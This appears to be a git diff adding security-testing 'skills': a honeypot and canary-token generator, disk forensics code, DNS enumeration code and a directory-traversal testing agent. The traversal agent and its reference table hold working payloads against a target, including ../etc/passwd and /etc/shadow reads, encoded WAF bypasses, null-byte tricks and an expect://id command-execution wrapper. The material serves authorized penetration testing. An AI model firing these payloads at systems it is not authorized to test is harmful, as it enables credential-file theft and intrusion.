content += f"aws_secret_access_key = {secrets.token_hex(20)}\n" + + with open(filepath, "w") as f: + f.write(content) + + canary_files.append({ + "token_id": f"CF-{token_id}", + "type": "canary_file", + "filename": filename, + "filepath": filepath, + "description": description, + "sha256": hashlib.sha256(content.encode()).hexdigest(), + "alert_on": "File open / read access", + "created": datetime.now(timezone.utc).isoformat(), + }) + + return canary_files + + +def generate_dns_canary_tokens(domain: str, count: int = 3) -> list[dict]: + """Generate DNS canary tokens that alert on resolution.""" + tokens = [] + for i in range(count): + token_id = secrets.token_hex(8) + hostname = f"{token_id}.{domain}" + tokens.append({ + "token_id": f"DNS-{token_id[:8]}", + "type": "dns_canary", + "hostname": hostname, + "usage": f"Embed in config files, documents, or network shares", + "alert_on": "DNS resolution of hostname", + "created": datetime.now(timezone.utc).isoformat(), + }) + + return tokens + + +class HoneypotHTTPHandler(BaseHTTPRequestHandler): + """Simple HTTP honeypot handler that logs all requests.""" + + alerts = [] + + def do_GET(self): + alert = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "source_ip": self.client_address[0], + "source_port": self.client_address[1], + "method": "GET", + "path": self.path, + "headers": dict(self.headers), + "severity": "HIGH", + } + HoneypotHTTPHandler.alerts.append(alert) + print(f"[ALERT] Honeypot hit: {alert['source_ip']} -> GET {self.path}") + self.send_response(401) + self.send_header("WWW-Authenticate", 'Basic realm="Restricted Area"') + self.end_headers() + self.wfile.write(b"Authentication Required") + + def do_POST(self): + content_length = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(content_length).decode("utf-8", errors="ignore") + + alert = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "source_ip": self.client_address[0], + "method": "POST", + "path": self.path, + "body_preview": body[:200], + "severity": "CRITICAL", + } + HoneypotHTTPHandler.alerts.append(alert) + print(f"[ALERT] Honeypot credential capture: {alert['source_ip']}") + self.send_response(403) + self.end_headers() + self.wfile.write(b"Access Denied") + + def log_message(self, format, *args): + pass + + +def start_http_honeypot(host: str = "0.0.0.0", port: int = 8888) -> HTTPServer: + """Start an HTTP honeypot server in a background thread.""" + server = HTTPServer((host, port), HoneypotHTTPHandler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + print(f"[*] HTTP honeypot listening on {host}:{port}") + return server + + +def generate_deployment_report( + credentials: list, canary_files: list, dns_tokens: list +) -> str: + """Generate deception technology deployment report.""" + total = len(credentials) + len(canary_files) + len(dns_tokens) + lines = [ + "DECEPTION TECHNOLOGY DEPLOYMENT REPORT", + "=" * 50, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + f"Total Decoys Deployed: {total}", + "", + f"HONEYTOKEN CREDENTIALS ({len(credentials)}):", + ] + for cred in credentials: + lines.append(f" [{cred['token_id']}] {cred['username']} - {cred['description']}") + + lines.append(f"\nCANARY FILES ({len(canary_files)}):") + for cf in canary_files: + lines.append(f" [{cf['token_id']}] {cf['filename']} - {cf['description']}") + + lines.append(f"\nDNS CANARY TOKENS ({len(dns_tokens)}):") + for dns in dns_tokens: + lines.append(f" [{dns['token_id']}] {dns['hostname']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + output_dir = sys.argv[1] if len(sys.argv) > 1 else "canary_files" + dns_domain = sys.argv[2] if len(sys.argv) > 2 else "canary.example.com" + + print("[*] Deploying deception technology...") + + credentials = generate_honeytoken_credentials(5) + canary_files = generate_canary_files(output_dir, 5) + dns_tokens = generate_dns_canary_tokens(dns_domain, 3) + + report = generate_deployment_report(credentials, canary_files, dns_tokens) + print(report) + + inventory = { + "credentials": credentials, + "canary_files": canary_files, + "dns_tokens": dns_tokens, + } + output = f"deception_inventory_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump(inventory, f, indent=2) + print(f"\n[*] Inventory saved to {output}") diff --git a/skills/performing-directory-traversal-testing/LICENSE b/skills/performing-directory-traversal-testing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-directory-traversal-testing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-directory-traversal-testing/references/api-reference.md b/skills/performing-directory-traversal-testing/references/api-reference.md new file mode 100644 index 00000000..069cef52 --- /dev/null +++ b/skills/performing-directory-traversal-testing/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Performing Directory Traversal Testing + +## Traversal Payload Encodings + +| Encoding | Example | Description | +|----------|---------|-------------| +| Plain | `../../../etc/passwd` | Standard Unix traversal | +| URL-encoded | `..%2f..%2f..%2fetc%2fpasswd` | Single URL encoding | +| Double-encoded | `..%252f..%252f` | Bypass WAF single-decode | +| UTF-8 overlong | `..%c0%af..%c0%af` | Bypass charset-based filters | +| Backslash (Windows) | `..\\..\\..\\windows\\win.ini` | Windows path traversal | +| Mixed separators | `..././..././` | Bypass recursive stripping | + +## PHP Wrapper Protocols (LFI) + +| Wrapper | Description | +|---------|-------------| +| `php://filter/convert.base64-encode/resource=` | Read file as base64 | +| `php://input` | Read from POST body | +| `expect://` | Execute system command | +| `data://text/plain;base64,` | Inline data injection | +| `file:///` | Direct file access | + +## Vulnerability Indicators + +| File | Content Indicator | +|------|-------------------| +| `/etc/passwd` | `root:x:0:0:` | +| `win.ini` | `[fonts]`, `[extensions]` | +| `/proc/self/environ` | Environment variables | +| `/etc/shadow` | Hashed passwords (critical) | + +## requests Library + +| Method | Description | +|--------|-------------| +| `requests.get(url, allow_redirects=False)` | Send traversal payload | +| `urllib.parse.urlencode(params)` | Encode parameters with payloads | +| `urllib.parse.urlparse(url)` | Parse URL to extract parameters | + +## Key Libraries + +- **requests** (`pip install requests`): HTTP client for payload delivery +- **urllib.parse** (stdlib): URL parsing and parameter manipulation + +## OWASP Testing Guide + +| Test ID | Description | +|---------|-------------| +| WSTG-ATHZ-01 | Testing for Directory Traversal / File Include | + +## References + +- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) +- [PortSwigger Directory Traversal](https://portswigger.net/web-security/file-path-traversal) +- [PayloadsAllTheThings - LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) +- [HackTricks LFI](https://book.hacktricks.xyz/pentesting-web/file-inclusion) diff --git a/skills/performing-directory-traversal-testing/scripts/agent.py b/skills/performing-directory-traversal-testing/scripts/agent.py new file mode 100644 index 00000000..41f9abe3 --- /dev/null +++ b/skills/performing-directory-traversal-testing/scripts/agent.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python3 +""" +Directory Traversal Testing Agent — AUTHORIZED TESTING ONLY +Tests web applications for path traversal (LFI) vulnerabilities by +injecting traversal sequences into file path parameters. + +WARNING: Only use with explicit written authorization for the target application. +""" + +import json +import sys +from datetime import datetime, timezone +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse + +import requests + + +TRAVERSAL_PAYLOADS = [ + "../../../etc/passwd", + "..\\..\\..\\windows\\win.ini", + "....//....//....//etc/passwd", + "..%2f..%2f..%2fetc%2fpasswd", + "%2e%2e/%2e%2e/%2e%2e/etc/passwd", + "..%252f..%252f..%252fetc%252fpasswd", + "..%c0%af..%c0%af..%c0%afetc/passwd", + "/etc/passwd", + "\\..\\..\\..\\..\\windows\\win.ini", + "....\\....\\....\\etc\\passwd", + "..%5c..%5c..%5cwindows%5cwin.ini", + "/proc/self/environ", + "/etc/shadow", + "C:\\Windows\\System32\\drivers\\etc\\hosts", + "..././..././..././etc/passwd", + "..;/..;/..;/etc/passwd", +] + +LINUX_INDICATORS = ["root:x:", "root:*:", "daemon:", "bin:x:", "nobody:"] +WINDOWS_INDICATORS = ["[fonts]", "[extensions]", "[mci extensions]", "for 16-bit"] + + +def identify_file_parameters(url: str) -> list[str]: + """Identify URL parameters that likely handle file paths.""" + file_param_names = [ + "file", "path", "page", "include", "template", "doc", + "document", "folder", "root", "dir", "filename", + "download", "read", "load", "view", "content", + "img", "image", "src", "resource", "cat", + ] + + parsed = urlparse(url) + params = parse_qs(parsed.query) + return [p for p in params if p.lower() in file_param_names] + + +def test_traversal(url: str, param: str, session: requests.Session = None) -> list[dict]: + """Test a parameter for directory traversal vulnerability.""" + if session is None: + session = requests.Session() + + results = [] + parsed = urlparse(url) + original_params = parse_qs(parsed.query) + + for payload in TRAVERSAL_PAYLOADS: + test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()} + test_params[param] = payload + + test_url = urlunparse(( + parsed.scheme, parsed.netloc, parsed.path, + parsed.params, urlencode(test_params), parsed.fragment, + )) + + try: + resp = session.get(test_url, timeout=10, allow_redirects=False) + body = resp.text + + is_vulnerable = False + evidence = "" + + for indicator in LINUX_INDICATORS: + if indicator in body: + is_vulnerable = True + evidence = f"Linux file content detected: '{indicator}'" + break + + if not is_vulnerable: + for indicator in WINDOWS_INDICATORS: + if indicator.lower() in body.lower(): + is_vulnerable = True + evidence = f"Windows file content detected: '{indicator}'" + break + + if is_vulnerable: + results.append({ + "url": test_url, + "parameter": param, + "payload": payload, + "status_code": resp.status_code, + "vulnerable": True, + "evidence": evidence, + "response_length": len(body), + "severity": "HIGH", + }) + + except requests.RequestException: + continue + + return results + + +def test_null_byte_bypass(url: str, param: str, session: requests.Session = None) -> list[dict]: + """Test null byte injection to bypass file extension checks.""" + if session is None: + session = requests.Session() + + null_payloads = [ + "../../../etc/passwd%00", + "../../../etc/passwd%00.jpg", + "../../../etc/passwd%00.html", + "../../../etc/passwd\x00", + ] + + results = [] + parsed = urlparse(url) + original_params = parse_qs(parsed.query) + + for payload in null_payloads: + test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()} + test_params[param] = payload + + test_url = urlunparse(( + parsed.scheme, parsed.netloc, parsed.path, + parsed.params, urlencode(test_params), parsed.fragment, + )) + + try: + resp = session.get(test_url, timeout=10) + if any(ind in resp.text for ind in LINUX_INDICATORS): + results.append({ + "url": test_url, + "payload": payload, + "bypass_type": "null_byte", + "vulnerable": True, + "severity": "CRITICAL", + }) + except requests.RequestException: + continue + + return results + + +def test_wrapper_protocols(url: str, param: str, session: requests.Session = None) -> list[dict]: + """Test PHP wrapper protocols for LFI exploitation.""" + if session is None: + session = requests.Session() + + wrappers = [ + ("php://filter/convert.base64-encode/resource=index", "PHP filter wrapper"), + ("php://input", "PHP input wrapper"), + ("expect://id", "PHP expect wrapper"), + ("data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==", "PHP data wrapper"), + ("file:///etc/passwd", "file:// wrapper"), + ] + + results = [] + parsed = urlparse(url) + original_params = parse_qs(parsed.query) + + for wrapper, description in wrappers: + test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()} + test_params[param] = wrapper + + test_url = urlunparse(( + parsed.scheme, parsed.netloc, parsed.path, + parsed.params, urlencode(test_params), parsed.fragment, + )) + + try: + resp = session.get(test_url, timeout=10) + suspicious = ( + resp.status_code == 200 and + len(resp.text) > 100 and + "404" not in resp.text.lower()[:200] + ) + if suspicious: + results.append({ + "url": test_url, + "wrapper": wrapper, + "description": description, + "status_code": resp.status_code, + "response_length": len(resp.text), + "severity": "CRITICAL", + }) + except requests.RequestException: + continue + + return results + + +def generate_report(traversal: list, null_byte: list, wrappers: list) -> str: + """Generate directory traversal testing report.""" + all_vulns = traversal + null_byte + wrappers + lines = [ + "DIRECTORY TRAVERSAL TESTING REPORT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + f"Total Vulnerabilities Found: {len(all_vulns)}", + "", + f"TRAVERSAL FINDINGS ({len(traversal)}):", + "-" * 40, + ] + + for v in traversal: + lines.append(f" [{v['severity']}] {v['parameter']}: {v['payload']}") + lines.append(f" Evidence: {v['evidence']}") + + if null_byte: + lines.extend([f"\nNULL BYTE BYPASS ({len(null_byte)}):"]) + for n in null_byte: + lines.append(f" [{n['severity']}] {n['payload']}") + + if wrappers: + lines.extend([f"\nWRAPPER PROTOCOL ({len(wrappers)}):"]) + for w in wrappers: + lines.append(f" [{w['severity']}] {w['wrapper']} - {w['description']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] DIRECTORY TRAVERSAL TESTING — AUTHORIZED TESTING ONLY\n") + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [param_name]") + print(f" Example: {sys.argv[0]} 'http://target/view?file=report.pdf' file") + sys.exit(1) + + target_url = sys.argv[1] + param_name = sys.argv[2] if len(sys.argv) > 2 else None + + if not param_name: + file_params = identify_file_parameters(target_url) + if file_params: + param_name = file_params[0] + print(f"[*] Auto-detected file parameter: {param_name}") + else: + print("[!] No file parameter detected. Specify parameter name.") + sys.exit(1) + + session = requests.Session() + + print(f"[*] Testing parameter '{param_name}' for directory traversal...") + traversal_results = test_traversal(target_url, param_name, session) + + print("[*] Testing null byte bypass...") + null_results = test_null_byte_bypass(target_url, param_name, session) + + print("[*] Testing wrapper protocols...") + wrapper_results = test_wrapper_protocols(target_url, param_name, session) + + report = generate_report(traversal_results, null_results, wrapper_results) + print(report) diff --git a/skills/performing-disk-forensics-investigation/LICENSE b/skills/performing-disk-forensics-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-disk-forensics-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-disk-forensics-investigation/references/api-reference.md b/skills/performing-disk-forensics-investigation/references/api-reference.md new file mode 100644 index 00000000..9044d277 --- /dev/null +++ b/skills/performing-disk-forensics-investigation/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Performing Disk Forensics Investigation + +## pytsk3 Library (The Sleuth Kit Python Bindings) + +| Class/Method | Description | +|--------------|-------------| +| `pytsk3.Img_Info(path)` | Open disk image (raw, E01, AFF) | +| `pytsk3.FS_Info(img_info)` | Parse file system from image | +| `fs.open_dir(path)` | Open directory for listing | +| `fs.open_file(path)` | Open file for reading content | +| `entry.info.meta` | Access file metadata (timestamps, size, flags) | +| `TSK_FS_META_FLAG_UNALLOC` | Flag indicating deleted/unallocated file | + +## File Metadata Fields + +| Field | Description | +|-------|-------------| +| `meta.crtime` | File creation time (NTFS) | +| `meta.mtime` | Last modification time | +| `meta.atime` | Last access time | +| `meta.ctime` | Metadata change time | +| `meta.size` | File size in bytes | +| `meta.addr` | Inode/MFT entry number | +| `meta.flags` | Allocation flags | + +## NTFS MFT Structure + +| Offset | Size | Description | +|--------|------|-------------| +| 0x00 | 4 bytes | Signature ("FILE") | +| 0x16 | 2 bytes | Flags (in-use, directory) | +| 0x1C | 4 bytes | Real size of MFT entry | + +## Key Libraries + +- **pytsk3** (`pip install pytsk3`): Python bindings for The Sleuth Kit +- **dfvfs** (`pip install dfvfs`): Digital Forensics Virtual File System +- **hashlib** (stdlib): Image integrity verification (MD5, SHA-256) +- **struct** (stdlib): Parse binary MFT entry headers + +## CLI Tools (Reference) + +| Tool | Description | +|------|-------------| +| `fls -r image.dd` | Recursively list files (TSK) | +| `icat image.dd inode` | Extract file by inode number | +| `mmls image.dd` | List disk partitions | +| `fsstat image.dd` | File system statistics | + +## Configuration + +| Variable | Description | +|----------|-------------| +| Image path | Path to forensic disk image (dd, E01, AFF) | +| MFT export | Exported $MFT file for NTFS-specific analysis | + +## References + +- [The Sleuth Kit](https://www.sleuthkit.org/) +- [pytsk3 Documentation](https://github.com/py4n6/pytsk) +- [Autopsy Digital Forensics](https://www.autopsy.com/) +- [SANS Forensics Poster](https://www.sans.org/posters/windows-forensic-analysis/) diff --git a/skills/performing-disk-forensics-investigation/scripts/agent.py b/skills/performing-disk-forensics-investigation/scripts/agent.py new file mode 100644 index 00000000..fbcdb5d9 --- /dev/null +++ b/skills/performing-disk-forensics-investigation/scripts/agent.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python3 +""" +Disk Forensics Investigation Agent +Performs disk forensics analysis including image verification, file system +parsing, deleted file recovery, and timeline generation using pytsk3 and +hashlib for evidence integrity. +""" + +import csv +import hashlib +import json +import os +import struct +import sys +from datetime import datetime, timezone +from pathlib import Path + +try: + import pytsk3 + HAS_PYTSK3 = True +except ImportError: + HAS_PYTSK3 = False + + +def verify_image_integrity(image_path: str) -> dict: + """Calculate and verify hash of forensic disk image.""" + if not os.path.exists(image_path): + return {"error": f"Image not found: {image_path}"} + + md5 = hashlib.md5() + sha256 = hashlib.sha256() + size = 0 + + with open(image_path, "rb") as f: + while True: + chunk = f.read(65536) + if not chunk: + break + md5.update(chunk) + sha256.update(chunk) + size += len(chunk) + + return { + "image_path": image_path, + "size_bytes": size, + "size_gb": round(size / (1024**3), 2), + "md5": md5.hexdigest(), + "sha256": sha256.hexdigest(), + "verified_at": datetime.now(timezone.utc).isoformat(), + } + + +def parse_filesystem_pytsk3(image_path: str) -> dict: + """Parse file system from disk image using pytsk3.""" + if not HAS_PYTSK3: + return {"error": "pytsk3 not installed. Install with: pip install pytsk3"} + + try: + img = pytsk3.Img_Info(image_path) + fs = pytsk3.FS_Info(img) + except Exception as e: + return {"error": f"Failed to open image: {e}"} + + fs_info = { + "fs_type": str(fs.info.ftype), + "block_size": fs.info.block_size, + "block_count": fs.info.block_count, + "total_size_gb": round(fs.info.block_size * fs.info.block_count / (1024**3), 2), + } + + return fs_info + + +def list_files_pytsk3(image_path: str, directory: str = "/") -> list[dict]: + """List files in a directory within the disk image.""" + if not HAS_PYTSK3: + return [{"error": "pytsk3 not installed"}] + + try: + img = pytsk3.Img_Info(image_path) + fs = pytsk3.FS_Info(img) + dir_obj = fs.open_dir(directory) + except Exception as e: + return [{"error": str(e)}] + + files = [] + for entry in dir_obj: + name = entry.info.name.name.decode("utf-8", errors="ignore") + if name in (".", ".."): + continue + + meta = entry.info.meta + if meta: + files.append({ + "name": name, + "type": "directory" if meta.type == pytsk3.TSK_FS_META_TYPE_DIR else "file", + "size": meta.size, + "created": datetime.fromtimestamp(meta.crtime, tz=timezone.utc).isoformat() if meta.crtime else "", + "modified": datetime.fromtimestamp(meta.mtime, tz=timezone.utc).isoformat() if meta.mtime else "", + "accessed": datetime.fromtimestamp(meta.atime, tz=timezone.utc).isoformat() if meta.atime else "", + "inode": meta.addr, + "flags": str(meta.flags), + }) + + return files + + +def find_deleted_files(image_path: str) -> list[dict]: + """Search for deleted files in the disk image.""" + if not HAS_PYTSK3: + return [{"error": "pytsk3 not installed"}] + + try: + img = pytsk3.Img_Info(image_path) + fs = pytsk3.FS_Info(img) + except Exception as e: + return [{"error": str(e)}] + + deleted = [] + + def walk_directory(dir_obj, path="/"): + for entry in dir_obj: + name = entry.info.name.name.decode("utf-8", errors="ignore") + if name in (".", ".."): + continue + + meta = entry.info.meta + if meta and meta.flags & pytsk3.TSK_FS_META_FLAG_UNALLOC: + deleted.append({ + "name": name, + "path": f"{path}{name}", + "size": meta.size, + "deleted_approx": datetime.fromtimestamp( + meta.mtime, tz=timezone.utc + ).isoformat() if meta.mtime else "", + "inode": meta.addr, + "recoverable": meta.size > 0, + }) + + if meta and meta.type == pytsk3.TSK_FS_META_TYPE_DIR: + try: + sub_dir = fs.open_dir(inode=meta.addr) + walk_directory(sub_dir, f"{path}{name}/") + except Exception: + pass + + try: + root = fs.open_dir("/") + walk_directory(root) + except Exception as e: + deleted.append({"error": str(e)}) + + return deleted + + +def parse_mft_entries(mft_path: str) -> list[dict]: + """Parse MFT entries from an exported $MFT file for NTFS analysis.""" + entries = [] + if not os.path.exists(mft_path): + return [{"error": f"MFT file not found: {mft_path}"}] + + with open(mft_path, "rb") as f: + entry_size = 1024 + entry_num = 0 + while True: + data = f.read(entry_size) + if len(data) < entry_size: + break + + if data[:4] == b"FILE": + flags = struct.unpack_from("= 10000: + break + + total = len(entries) + deleted = sum(1 for e in entries if e["is_deleted"]) + + return entries[:100] if len(entries) > 100 else entries + + +def build_timeline(files: list[dict]) -> list[dict]: + """Build a timeline of file system activity from file metadata.""" + events = [] + + for f in files: + if isinstance(f, dict) and "error" not in f: + if f.get("created"): + events.append({"timestamp": f["created"], "event": "created", "path": f.get("name", "")}) + if f.get("modified"): + events.append({"timestamp": f["modified"], "event": "modified", "path": f.get("name", "")}) + if f.get("accessed"): + events.append({"timestamp": f["accessed"], "event": "accessed", "path": f.get("name", "")}) + + events.sort(key=lambda x: x.get("timestamp", "")) + return events + + +def generate_report( + integrity: dict, fs_info: dict, files: list, deleted: list, timeline: list +) -> str: + """Generate disk forensics investigation report.""" + lines = [ + "DISK FORENSICS INVESTIGATION REPORT", + "=" * 50, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "IMAGE INTEGRITY:", + f" Image: {integrity.get('image_path', 'N/A')}", + f" Size: {integrity.get('size_gb', 'N/A')} GB", + f" MD5: {integrity.get('md5', 'N/A')}", + f" SHA-256: {integrity.get('sha256', 'N/A')}", + "", + "FILE SYSTEM:", + f" Type: {fs_info.get('fs_type', 'N/A')}", + f" Total Size: {fs_info.get('total_size_gb', 'N/A')} GB", + "", + f"FILES FOUND: {len(files)}", + f"DELETED FILES: {len([d for d in deleted if d.get('recoverable')])} recoverable", + f"TIMELINE EVENTS: {len(timeline)}", + ] + + if deleted: + lines.extend(["", "DELETED FILES (SAMPLE):"]) + for d in deleted[:10]: + if "error" not in d: + lines.append(f" {d.get('path', 'N/A')} ({d.get('size', 0)} bytes)") + + return "\n".join(lines) + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [mft_path]") + sys.exit(1) + + image_path = sys.argv[1] + mft_path = sys.argv[2] if len(sys.argv) > 2 else None + + print(f"[*] Verifying image integrity: {image_path}") + integrity = verify_image_integrity(image_path) + print(f"[*] SHA-256: {integrity.get('sha256', 'error')}") + + print("[*] Parsing file system...") + fs_info = parse_filesystem_pytsk3(image_path) + + print("[*] Listing files...") + files = list_files_pytsk3(image_path) + + print("[*] Searching for deleted files...") + deleted = find_deleted_files(image_path) + + timeline = build_timeline(files) + + report = generate_report(integrity, fs_info, files, deleted, timeline) + print(report) + + output = f"disk_forensics_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"integrity": integrity, "fs_info": fs_info, "deleted_files": deleted, + "timeline": timeline[:100]}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-dmarc-policy-enforcement-rollout/LICENSE b/skills/performing-dmarc-policy-enforcement-rollout/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dmarc-policy-enforcement-rollout/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dns-enumeration-and-zone-transfer/LICENSE b/skills/performing-dns-enumeration-and-zone-transfer/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dns-enumeration-and-zone-transfer/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md b/skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md new file mode 100644 index 00000000..4ad3a571 --- /dev/null +++ b/skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Performing DNS Enumeration and Zone Transfer + +## dnspython Library + +| Function/Class | Description | +|----------------|-------------| +| `dns.resolver.resolve(domain, rdtype)` | Query DNS records by type | +| `dns.zone.from_xfr(xfr_response)` | Parse zone transfer response | +| `dns.query.xfr(nameserver, domain)` | Perform AXFR zone transfer | +| `dns.rdatatype.to_text(rdtype)` | Convert record type to string | +| `dns.resolver.Resolver()` | Custom resolver with timeout settings | + +## DNS Record Types + +| Type | Description | +|------|-------------| +| A | IPv4 address record | +| AAAA | IPv6 address record | +| MX | Mail exchange server | +| NS | Authoritative nameserver | +| TXT | Text record (SPF, DKIM, DMARC) | +| SOA | Start of Authority | +| CNAME | Canonical name alias | +| SRV | Service location record | +| CAA | Certificate Authority Authorization | +| AXFR | Full zone transfer request | + +## Email Security Records + +| Record | Location | Description | +|--------|----------|-------------| +| SPF | `domain TXT` | Authorized mail sender IPs | +| DMARC | `_dmarc.domain TXT` | Email authentication policy | +| DKIM | `selector._domainkey.domain TXT` | Email signing public key | + +## Key Libraries + +- **dnspython** (`pip install dnspython`): Full-featured DNS toolkit for Python +- **python-nmap** (optional): Network port scanning for DNS services +- **sublist3r** (optional): Subdomain enumeration using search engines + +## Configuration + +| Variable | Description | +|----------|-------------| +| Target domain | Authorized target domain for enumeration | +| Resolver timeout | DNS query timeout (default 3 seconds) | +| Wordlist | Subdomain brute-force dictionary | + +## Common Subdomain Wordlists + +| Source | Description | +|--------|-------------| +| SecLists DNS | `Discovery/DNS/subdomains-top1million-5000.txt` | +| Assetnote | Best-DNS-Wordlist from Assetnote | +| Custom | Industry-specific subdomain patterns | + +## References + +- [dnspython Documentation](https://dnspython.readthedocs.io/) +- [OWASP DNS Enumeration](https://owasp.org/www-community/attacks/DNS_Enumeration) +- [SecLists](https://github.com/danielmiessler/SecLists) +- [Amass OWASP](https://github.com/owasp-amass/amass) diff --git a/skills/performing-dns-enumeration-and-zone-transfer/scripts/agent.py b/skills/performing-dns-enumeration-and-zone-transfer/scripts/agent.py new file mode 100644 index 00000000..2e1ff9d1 --- /dev/null +++ b/skills/performing-dns-enumeration-and-zone-transfer/scripts/agent.py @@ -0,0 +1,251 @@ +#!/usr/bin/env python3 +""" +DNS Enumeration and Zone Transfer Agent — AUTHORIZED TESTING ONLY +Performs DNS reconnaissance including record enumeration, zone transfer +attempts, and subdomain discovery using dnspython. + +WARNING: Only use with explicit written authorization for the target domain. +""" + +import json +import sys +from datetime import datetime, timezone + +import dns.resolver +import dns.zone +import dns.query +import 